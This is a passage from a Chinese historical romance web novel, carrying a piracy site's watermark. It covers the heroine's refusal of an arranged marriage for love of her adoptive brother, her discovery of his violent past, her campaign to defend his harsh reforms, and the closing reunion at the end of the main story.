令颐跪在父母面前:“爹,娘,女儿不孝,让家门蒙羞。但我真的不能嫁给燕珩。我与他即便强求在一起,也绝不会幸福。” 虞氏看着女儿这般模样,一个可怕的猜测浮上心头。 她声音发颤,带着最后一丝侥幸问道:“令令,你跟娘说,你如此决绝,可是心中有了旁人?” “……是。” “此人,可是浔之?” 此言一出,不止姜朔骇然变色,连令颐都震惊地抬起头,难以置信母亲竟会直接点破。 寂静在空气中凝固。 片刻后,令颐深吸一口气,重重地点了下头。 “是。女儿心悦之人,是哥哥。” “你……你!” 虞氏猛地捂住胸口,脸色瞬间煞白,身体摇摇欲坠。 “娘!” 令颐慌忙上前扶住母亲,泪水涌出。 “娘您别动气,千错万错都是女儿的错!您要打要骂都可以,怎样罚我都行,千万不要气坏身子!” 虞氏指着她,手指都在发抖。 她痛心疾首:“你这个糊涂丫头,你可知你在说什么混账话!颜浔之他是你哥哥!你们……你们这是悖逆人伦,是大逆不道啊!” 令颐抬起泪眼:“女儿知道自己在说什么,更清楚自己心里装的是谁。我对哥哥,绝非兄妹之情。” 姜朔也从震惊中回过神,一边扶着妻子,一边试图缓和:“夫人先别急,令令或许只是一时糊涂,受了蒙蔽。” 他又转向令颐,苦口婆心:“令令,你年纪小,不知世事厉害。你与浔之绝无可能啊。这世间礼法、人伦纲常,岂容你们如此恣意妄为?” “为何不可?” “若我们两情相悦,为何不能被允许?” “人言可畏,世人的唾沫星子就能淹死你们!” 虞氏缓过一口气,厉声道:“你可知外人会如何议论你们?如何议论我们姜家?戳脊梁骨都能把咱家祖坟戳穿!更何况侯府那边,你让我们如何向燕家交代?这岂是一句两情相悦就能揭过的?” “所有的过错,我一力承担!” 令颐挺直脊背,语气决绝:“我会亲自去侯府请罪,要如何处置,绝无怨言。但要我嫁给燕珩,恕女儿做不到……” 姜朔夫妇见她如此油盐不进,执迷不悟,气得浑身发抖。 最终只能狠狠一甩衣袖,怒道:“你,你真是冥顽不灵!你好自为之,好好想想吧!” 说罢,两人愤然相携离去。 此后几日,不仅姜朔夫妇愁云惨淡,连令颐身边的几个侍女也忧心忡忡,轮番前来劝慰。 芳菲低声叹道:“姑娘,您这次真是伤了老爷和夫人的心了。他们这几日为了平息侯府的怒火,不知赔了多少 笑脸,说了多少好话。” 晴雪接话:“是啊姑娘,还有燕小侯爷,听说他也一直在劝家里莫要为难我们姜府。姑娘,您当真要如此吗?” 令颐看着镜中的自己,轻声道:“我知道我给家里带来了天大的麻烦。我会去侯府请罪的,所有后果,我一力承担。” 芳菲和晴雪对视一眼,见姑娘如此执着,皆不知还能再说什么。 一旁的璎珞却看不过去,忍不住插嘴道:“你们两个怎么整日愁眉苦脸的,像是姑娘犯了什么十恶不赦的大罪似的。要奴婢看啊,这根本就不是什么大事。” 晴雪没好气瞪了她一眼:“这还不是大事,那你说说什么才是大事?姑娘家的名声还要不要了?” 璎珞道:“名声能当饭吃还是能当水喝?早在江南的时候,奴婢就看出来,姑娘和颜大人之间情意匪浅,根本不像寻常兄妹。后来得知姑娘竟有婚约,奴婢还吓了一跳呢。” 玉珠也点头附和:“就是就是,也就你们中原人规矩多,讲究这个。在我们江南,若是两情相悦,哪管什么兄妹不兄妹的,喜欢了便是在一起。甚至男子与男子间,亦有相守终老的。” “只要彼此真心实意,关起门来过自己的日子,旁人又何须多说闲话?” 芳菲和晴雪闻言一怔。 细细回想,颜彻待令颐的确是极好,那种好,早已超出了兄长的界限,无微不至,甚至带着一种强烈的占有欲。 只是,她们从未敢往那方面去想。 芳菲仍觉不妥,蹙眉道:“可是,终究是有兄妹名分在先,这于礼不合啊……” 玉珠却不以为然:“名分是死的,人心是活的。若只因一个名分,便要错过一生挚爱,那才叫委屈呢!” 晴雪仍是难以接受,便与璎珞、玉珠争执了起来。 芳菲则在一旁若有所思,已然有些被说动。 玉珠见晴雪还在纠结什么名正言顺,情急之下脱口而出:“若论起陪伴和了解,咱们姑娘从小就是颜大人一手带大的,情分深厚,这十几年的相处,难道不比与小侯爷那点浅薄的情分重上千百倍?” 就在这时,一直沉默听着她们争论的令颐,猛地从椅子上站了起来。 玉珠的话忽然点醒了她。 对了!若要知道哥哥的过去,她应该去问那个人! 她对侍女们吩咐道:“快!别争了,立刻给我更衣,备车,我要出门!” 第73章 第73章“他把温柔都给了我”…… 令颐寻至城西一处僻静的别院。 面前的宅子高墙深锁,门前守卫森严,气氛压抑得让人喘不过气。 她正欲上前,却见门口正有人爆发争吵。 是商雪湄和几个守门侍卫。 “到底还要关我到什么时候!你们让开!” 只见商雪湄迫不及待想要走出大门,却被两名侍卫无情拦住。 此时的她,早已没了往日那副我见犹怜的模样,发髻微乱,面色因愤怒而变得有些狰狞。 “他凭什么软禁我?他以为他是谁!” 为首的侍卫面无表情:“大人有令,商姑娘是案子的重要证人,在一切尘埃落定之前,绝不能离开此地半步,还请姑娘安分些。” “重要证人?” 商雪湄嗤笑一声,声音尖利:“把我像个囚犯一样关在这里还不够吗?我手上的账本,还有我知道的一切,都已经交给你们了,颜浔之他还想怎样!” 侍卫不再回应,如同没有感情的磐石。 眼前的景象让令颐惊愕地停下了脚步。 印象中那位总是温柔似水的雪湄姐姐,此刻竟像是完全变了个人。 而此时,商雪湄也看到了她。 她先是一愣,随即脸上激烈的情绪冷却下来,化为一种毫不掩饰的讥诮。 她冷笑着问:“这不是我们姜二小姐吗?怎么,是来看我如今这副落魄狼狈的笑话?” 令颐压下心头的震惊与不适,连连摇头。 “雪湄姐姐,我今日来,是有些事想问你。” 她对侍卫说:“我是颜大人的妹妹,还请行个方便。” 侍卫自然是认得她的,没说什么就放行了。 商雪湄挑了挑眉,上下打量了她一番,冷哼一声。 “好啊,那就里边请吧。” 她侧身让开通往院内的小径,却又补了一句:“不过,只准你一个人进来。” 身后的侍女立刻紧张地拉住令颐的衣袖,低声道:“姑娘,此人神色不善,万一她对您不利……” 令颐拍了拍侍女的手:“无妨,你们就在门口等我。” 院内陈设简单,甚至有些萧条。 两人在厅中相对而坐,气氛凝滞。 令颐看着对面女子眼底挥之不去的阴霾,试探着开口:“姐姐……近来过得不好吗?” “好?哈哈哈……” 商雪湄像是听到了天大的笑话,笑声尖刻而凄凉:“拜你那好哥哥所赐!他岂止是把我软禁在此?他是要榨干我最后一点利用价值,然后将我像块破布一样丢弃!” “亏我当初还痴心妄想,仗着过去那一点点微末的情分,以为能接近他,依附他,谁知这根本就是一条没有心的毒蛇,冷不丁就会反口咬死你!” 令颐被她话语中浓烈的恨意惊得咽了下喉咙,手指微微蜷缩。 她稳了稳心神,直接问道:“雪湄姐姐,我今日来,是想问问你关于哥哥的过去。” 商雪湄斜睨着她,眼神玩味:“哦?你想听什么?” “哥哥他……是不是有什么不为人知的过去?他总说,若我知晓了全部,一定会离他远去……” 商雪湄发出一声极冷的嗤笑,眼中充满了恶意的快感。 “当然会远离,因为他说得一点没错!他不是人,他是个怪物!一个吃过自己亲姐姐血肉的怪物!” 接着,她不等令颐反应,便带着一种报复性的快意,将当年禹王府宴会上,颜彻如何被逼迫啖亲姐之肉的惨剧,血淋淋地撕开,详述了一遍。 令颐听得脸色惨白,胃里一阵翻江倒海。 她强忍着不适辩驳:“可那是禹王丧尽天良,哥哥当时只是个孩子,他是无辜的受害者!” “无辜?” 商雪湄像是听到了极其荒谬的词,冷笑起来。 “如果单单只是到这里为止,或许还能勉强算是一桩权贵残害忠良之后的惨剧呢。” 令颐猛地呆住,心脏像是被一只冰冷的手攥紧:“难道……还有后续?” “你可知,当年的彬江第一奇案?” 令颐茫然地摇头:“我、我不知道……那时我还很小,哥哥他他一向很少与外人来往,我们在彬江住了三年便回京了,我认识的人不多……” 那段时光于她而言,非常模糊。 商雪湄似乎料到她不知道,继续讲述:“这事奇就奇在,禹王府盛宴之后的事。” “就在那场宴会之后不久,所有当日参与宴会的宾客、官员,乃至他们的部分家眷,无一例外,在短短数月内,全部以极其惨烈的方式,离奇死亡。” 令颐手猛地捂住了嘴。 “这……这是……” “很巧合,是不是?” 商雪湄的笑容变得诡异:“官府查了很久,却怎么也查不出头绪。此人行事心狠手辣,却偏偏不留一丝痕迹。” “但是,天下没有不透风的墙。” 她倾身向前,盯着令颐的眼睛,一字一句道:“后来有流言传出,其中一个死者被杀当晚,曾有人偶然撞见,行凶者,是个身形瘦弱的少年模样。” “据说,那人不仅将目标大卸八块,还生生啃咬下他的身体。” “看到的人当场就吓疯了,他们说,那根本不是人,那是一只野兽,是从地狱血海里爬出来的索命修罗。” 商雪湄看了她一眼,笑意愈深。 “你肯定想问,为何我们就认定,那人是颜浔之对吧?” “因为,死的那个人,只是一个普普通通的,没有家人,也没有朋友,唯一特殊的地方,就在于,他是杀死颜浔之父亲和姐姐的刽子手之一。” 令颐彻底僵在原地。 身体一点点变得冰冷,血液仿佛都凝固了。 她一个字也说不出来,脑海中却不受控制地闪过那日在悬崖之下,哥哥重伤昏迷前,拔去身上箭矢时的样子。 那一瞬间从他眼底迸发出的疯狂与戾气,原来并非她的错觉。 商雪湄满意地看着她煞白如纸、摇摇欲坠的模样,心中充满了报复的快意。 “现在你知道了吧?这种人,骨子里根本就不是一个人,哪还会有人敢接近他,留在他身边?” 她猛地将自己腕间那条玉麒麟手链解了下来,狠狠扔到令颐面前的地上,仿佛那是什么肮脏的东西。 “没有人会愿意留在怪物身边,颜浔之他将我置于如此境地,今日我将他这层人皮撕开给你看,也算是一报还一报了!” 她将身子靠在椅背上,做了个“请”的手势。 “好了,你也知道你想知道的了,恕不远送。” …… 令颐魂不守舍地从房间走出来。 短短几步路,她走得脚步虚浮,仿 佛全身的力气都被抽空了。 守在外面的侍女们立刻围了上来,紧张地上下打量她。 “姑娘!您没事吧?她没对您怎么样吧?” 令颐茫然地摇了摇头,嘴唇动了动,想说什么,却突然感到一阵强烈的反胃。 她猛地弯下腰,扶着一旁的墙壁,控制不住地干呕起来。 “姑娘!” 晴雪吓得声音都变了调,慌忙替她拍背顺气。 “您这是怎么了?是不是那姓商的给您下了什么毒?奴婢这就去找她算账!” 小姑娘难受得眼泪都挤出来了,却还是直起身,虚弱地摆了摆手。 “没事,不关她的事。可能是早上贪嘴,多吃了几个糖蒸酥酪,有些克化不动……” 侍女面面相觑,扶着她小心离开。 不远处的角落,白衣郎君静静看着这一切。 风吹起他袖间冷香,年轻郎君的眼眸沉静如潭,倒映着少女踉跄远去的身影。 他轻叹了一声。 “我还是吓到她了。” 赵福忠在一旁低着头,没有说话。 …… 接下来的好几日,令颐都处于一种持续的失神状态。 她常常独自坐在窗边,一坐便是大半日,目光呆呆望着窗外,对外界的动静反应迟钝,送来的膳食也动不了几筷。 侍女们忧心忡忡地聚在一起低声议论。 “姑娘这到底是怎么了?从商姑娘回来之后就一直是这副模样,魂都像被勾走了似的。” “是啊,问什么也不说,真真是急死个人!” “再这样下去,身子怎么受得住啊。” 正担忧间,院外传来通报,祝颂然前来探望。 芳菲如同见到了救星,连忙迎上去。 “祝姑娘,您可来了!快去看看我家姑娘吧,她这般魂不守舍已经好几日了,问什么也不肯说,奴婢们实在不知如何是好。” 祝颂然闻言,秀眉微蹙,快步走进内室。 只见令颐依旧坐在窗边,单薄的背影透着一种迷茫。 祝颂然放轻脚步走过去,在她身边坐下。 “令颐,我听说成亲那日的事了,究竟出了什么事?能同师姐说说吗?别一个人扛着。” 令颐缓缓转过头,眼神聚焦了好一会儿,才落在祝颂然关切的脸庞上。 她没有回答她的问题,轻声反问道:“师姐,在你心里,哥哥是个怎样的人?” 祝颂然微微一愣,随即不假思索地莞尔一笑。 “颜先生自然是光风霁月,堪为士林表率,才高八斗,学贯古今,行事沉稳,温润如玉,是真正的君子。” 令颐却缓缓摇了摇头:“师姐,我想听的不是这些外人的称颂。” “我想问,你们为何都那般怕他?” 祝颂然脸上的笑容倏然僵住,脸上闪过一丝慌乱。 “令颐,你知道了什么?” 令颐低下脑袋:“我知道了哥哥过去的一些事,一些很可怕的事,突然意识到,我可能从未真正了解过他。” 她将自己去找商雪湄的事简单说了一遭。 但出于对哥哥的维护,她将其中一些细节隐去了。 祝颂然深深叹了一口气。 “是,其实我与你师兄们一直都有意瞒着你,我们怕你知道了会难过,会害怕,会承受不住。” “你哥哥他……并非只有世人看到的光风霁月的一面。他有很多不愿为人所知的阴暗面。甚至可以说,他的一些手段,远超常人想象,极为狠辣决绝。” “我们一开始也是难以接受,就像你知道你哥哥过去的事之后,会感到血腥和反胃一样。” 令颐眼眶瞬间红了。 “可我,并不是因为听了那些血腥残酷的往事而感到害怕!” 豆大的泪水涌了出来,顺着小姑娘的脸颊滑落。 “我是想着,哥哥他……他经历过那般可怕绝望的事,可他还是把所有的好,所有的温柔都给了我,他从未让那些阴影沾染我分毫……” 小姑娘泣不成声:“师姐,我直到现在才明白……我一直在理所当然地享受着他的保护,却从未真正理解过他背负着什么……” 祝颂然彻底怔住了。 她预想了令颐可能会恐惧,会崩溃,会因此疏离颜先生。 却万万没想到,她得到的竟是这样一个答案。 没有害怕,没有退缩,只有铺天盖地的心疼与自责。 这份纯粹而炽热的情感,让她一时竟不知该如何回应。 她看着眼前哭得浑身发抖的师妹,心中百感交集,最终化为一声轻叹。 她上前轻轻拥住令颐:“傻丫头,你何须自责?你不知,你本身就是一种救赎。你不光是在被保护,你的存在,你的美好,你毫无保留的信任与依赖,于他而言,何尝不是一种无声的守护?” “你照亮了他世界里我们无法触及的角落,这本身就是最珍贵的礼物。” “师姐……” 令颐埋在祝颂然肩头,泪水更加汹涌。 泪水不再是单纯的悲伤,还有心疼和更加坚定的决心。 “我怎么会怕他,我怎么会因为那些事就离开他……我只会,更想抱住他……” 祝颂然拍着她的背,温柔安抚。 “所以,你退婚,是因为喜欢颜先生,对么?” 令颐拼命点着头。 “对,我喜欢哥哥,很喜欢很喜欢。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第74章【正文完】 第74章 第74章“妹妹,我来接…… 几日后,另一件事在京城中闹得沸沸扬扬。 比起姜家二小姐悔婚的流言蜚语,颜彻推行的新政,以雷霆万钧之势席卷朝野。 借由禹王侵地一案掀开的巨大缺口,他毫不手软地将刀锋指向权贵阶层。 打击宗室权贵兼并土地,清丈田亩,削弱特权,鼓励农耕。 每一项措施都精准地戳中了既得利益者的命门。 自然,此举遭到了几乎整个权贵阶层的剧烈反对。 朝堂上,奏章雪片般飞向御案,朝堂之下暗流汹涌,甚至局部地区的武力抗法事件时有发生。 然而,颜彻的回应比所有人预想的更为酷烈。 他仿佛早已预料到这一切,甚至可能正等待着这一切。 反对的声浪越高,他镇压的手段就越发铁血无情。 短短数月,他以谋逆、抗旨、煽动叛乱等罪名,处置了一批又一批带头闹事的皇亲国戚、地方豪强。 手段之狠辣,牵连之广,令人瞠目结舌。 几支试图凭借私兵作乱的势力,更是被早有准备的新军以碾压之势迅速扑灭,主犯皆被枭首示众。 血腥味透过官府的文书,弥漫在京城的空气里。 这个天大的消息自然也传到了令颐耳中。 侍女们私下议论时,声音都带着恐惧和难以置信。 “姑娘,您听说了吗?城外又处置了一批人,说是抗法。” “以前虽知颜大人手段厉害,可也没想到会到这等地步……” “是啊,这得结下多少仇家啊?” 令颐听着,心也跟着揪了起来。 她几乎能想象出哥哥身处怎样残酷的风暴中心。 她抬起头,看着惴惴不安的侍女们,一字一句:“哥哥做的,是对的。” “我跟随哥哥巡视江南,见过很多流离失所的百姓,哥哥选择了一条艰难的道路,却也是最有效的路。” “我倒是在想,我能做些什么帮帮哥哥呢?” 她蹙眉沉思,目光无意识地扫过书架。 那里搁着她之前整理的同文馆文稿,从颜府搬出来时,这些文稿都被她小心 带过来了。 一个点子闪入她的脑海,同文馆! 对了,哥哥的新政需要被理解,而不是仅仅被恐惧。 他的思想,他为何要这样做的缘由,需要有人去阐述,去辩护。 “快,备车,我要去同文馆!” 同文馆的讲堂内,令颐召集了所有她能找到的学子。 她站在众人面前,将自己的想法告知他们。 “诸位同窗,如今朝中首辅颜大人推行新政,这是利国利民之长远大计。” “然而,新政推行,阻力巨大,面临很多非议。我们在此读书明理,不应只做壁上观。首辅大人此前曾让我协助整理过许多文稿札记,其中蕴含着他对于田制、吏治、民生等诸多问题的深思与见解,其思想之深,绝非外界简单传言的酷烈二字。” “我想将首辅大人那些没有被世人看到的理念传播出去,为新政争取一些理解的声音,需要各位同窗的帮助。” 话音刚落,众人顿时像炸开了锅,议论声陡然变大。 一位年纪稍长的学子站起身,面色不虞:“姜姑娘,就算新政本意或许为善,但颜首辅手段如此酷烈,动辄杀戮,这岂是仁人君子所为?既然违背圣贤仁恕之道,我等岂能为此等暴政张目?” 令颐立即反驳:“并非如此!非常之时,当行非常之法。旧弊沉疴已久,盘根错节,若不用重典,如何能撼动?若因为惧怕阻力而畏缩不前,或因为手段激烈而全盘否定其本心,那不是因噎废食了吗?” 她据理力争,引用哥哥文稿中的观点,试图说明改革的必要性与复杂性。 但她毕竟年纪小,面对大家根深蒂固的“仁政”观念,她的辩护显得有些吃力。 争论声中,一个沉稳的声音缓缓响起,压过了现场的嘈杂。 “令颐所言,并非全无道理。” 众人望去,竟是明老先生。 他缓步走出,目光扫过在场学子。 “纵观古今,未有哪一场真正的变革,是在温文尔雅、和风细雨中诞生的。欲破坚冰,需用重锤,只是这重锤之下,如何尽量减少无辜波及,把握其中分寸,才是执政者最大的难题与责任。” 他并未全然赞同颜彻的所有手段,但他指出了变革的残酷本质,瞬间提升了争论的格局。 许多一味批判残忍的学子陷入了沉思。 就在这时,一个弱弱的声音响起。 “那个,我觉得,姜姑娘和明先生说得对。” 众人看去,竟是平日里最吊儿郎当的李友仁。 他努力地站直了身体,清咳了一声。 “我承认,我李友仁天不怕地不怕,唯独见到颜先生腿肚子就转筋,比见鬼还怕三分!” 这老实得过分的自白,让紧绷的气氛瞬间松动。 好几个学子“噗嗤”笑出了声。 李友仁挠了挠头,有点尴尬,但还是继续说了下去:“但是,我从来都觉得,他很了不起!他做的事,很多人想都不敢想,更别提去做了!” “你们想啊,那些占着几百顷地,欺男霸女还没人敢管的王爷侯爷们,他敢上去就掰手腕,这事搁咱们,想都不敢想吧?可他不仅想了,还真干了,就冲这个,我就觉得很了不起!” 他说的不着调,但那份最直接的感受,比任何华丽的辩论都更有力。 李友仁的带头,像是一颗投入湖面的石子,激起了涟漪。 紧接着,曾经受益于颜彻整顿吏治的学生站了出来,一些寒门学子站了出来,。 “若非首辅手段强硬,我父亲的冤还不知屈何时能昭雪。我等只论仁恕,可曾想过受害者之苦?” 还有一些厌恶权贵横行的高门子弟也站了出来:“明先生所言极是。变革必有代价,或许颜大人之法是当下唯一可行之路,我们可以尝试让更多人明白其初衷。” “对!颜先生纵有手段狠厉之处,但其新政本意是好的!” “我们应该让更多人明白新政为何而行!” “我们可以注解文章,可以街头宣讲,可以撰写话本……” 越来越多的人开始响应。 看着眼前群情渐起的学子们,令颐的眼眶湿润了。 这时,一只温暖的手轻轻按在她的肩上。 她回头,映入眼帘的是一张带着爽朗笑容的熟悉脸庞。 “羡文师兄!” 令颐惊喜叫出声:“师兄你回来了!” “嗯,回来了。” 如今已是新科进士的宋嘉策,笑着揉了揉她的发顶,动作一如既往的亲昵自然,带着几分衣锦还乡的得意。 “咱们小师妹在这儿要干一番大事,师兄我能不快马加鞭赶回来给你撑场子吗?” 同时,祝颂然不知何时已悄然站在了她身后,对她微笑着点头,眼中满是鼓励和支持。 “小令颐,这次,可真的要你来带头了。” “放心吧师姐师兄!” 她抹去眼角的湿润,转过身面向重新聚拢过来的学子们。 “承蒙各位同窗信任,只要我们同心协力,必能让更多人听见我们的声音!” “好!” “愿随姜姑娘!” “算我一个!” 响应之声此起彼伏,众人强烈的信念在讲堂内激荡开来。 * 从这一天起,以同文馆为核心,一股新的力量开始悄然涌动。 一帮年轻的学生开始系统地整理、注解、传播颜彻那些关于土地、民生、吏治的思想论述。 他们撰写通俗易懂的文章,在茶楼酒肆间宣讲,试图剥去外界加诸于新政之上的血腥标签,帮底层百姓和一些中间派士人理解这场剧烈变革背后的逻辑与初衷。 虽然他们的声音在巨大的反对声浪中依然微弱,但终究像是一颗颗种子,开始在坚冰之下悄然萌发。 接下来的数月,京城仿佛被割裂成了两个世界。 一边是颜彻在朝堂之上,以铁腕手段雷厉风行地推进着新政,镇压着一切反抗,所过之处,血雨腥风,人人自危。 另一边,同文馆的学子们在街头巷尾,艰难地为他争取理解与支持。 两边人各自忙碌,仿佛行驶在两条平行线上,为了同一个目标,却身处截然不同的战场。 这日,赵福忠向颜彻禀报同文馆近来的动静。 尤其是,二姑娘如何带着学子们为颜彻奔走忙碌。 颜彻静静听着,唇角勾起柔和的弧度。 不需要什么话了。 他已经感知到了她的心意,还有那份最终选择走向他的坚定。 “那只迷路的小玉兔,总算回到书生的怀抱了。” 他像是自言自语道。 * 这日,华灯初上,令颐仍在同文馆的书斋内伏案忙碌。 她仔细地整理着明日讲学要用的文稿,上面密密麻麻写满了注解和心得。 “完成啦!” 整理妥当后,她吹熄蜡烛,抱着厚厚一叠文稿走出同文馆大门。 这样忙碌的日子,已经持续近半年了。 这期间,她从未见过哥哥。 只有偶尔传来的消息,让她知道哥哥还在不停努力。 而她能做的,便是更加努力地做好自己的事,仿佛这样就能替他分担一些压力。 少女走在青石路上,想着明日需要准备的文稿。 盛夏已过,绿枝已不再繁薇。 她轻盈踩着满地黄叶,刚踏出门槛,便便蓦地停住。 一辆通体玄黑的马车静悄悄地停在不远处的树下,车辕上,赵福忠垂手恭立。 眼前的场景,和过去无数个寻常日子一样。 令颐怔怔地站在原地,几乎停止了呼吸。 直到,车帘被一只修长的手轻轻掀起,露出那张她思念了无数个日夜的容颜。 颜彻坐在车内,昏黄的光线勾勒出他清绝的轮廓。 如兰生玉树,画中谪仙。 他目光沉静地落在她身上,仿佛已这样看了她许久。 “哥哥!” 巨大的惊喜和酸楚瞬间淹没了令颐。 她抱着文稿,像只归巢的小鸟般疾步跑上前去,望着他,一时竟不知该说什么好。 颜彻的视线在她脸上停留片刻,最终落在她鼻尖那点不经意的墨迹上。 他微微倾身,用手指轻轻为她拭去。 “墨汁蹭到鼻子上了。” 他的声音带着一丝不易察觉的疲惫,却依旧是熟悉的温柔语调。 鼻尖残留着他指尖微凉的触感,令颐眼眶猛地一热。 “哥哥……” 她声音哽咽,一边笑一边红了眼:“你怎么来了?” 颜彻道:“你在这里,我当然要来。” 刹那间,所有辛苦,所有担忧和恐惧,所有委屈,尽数化作滚烫的泪珠,汹涌地从令颐眼眶滑落。 她看着他,泪眼模糊。 颜彻朝她伸出手,掌心向上。 “妹妹,我来接你回家。” (正文完)魔.蝎`小`说 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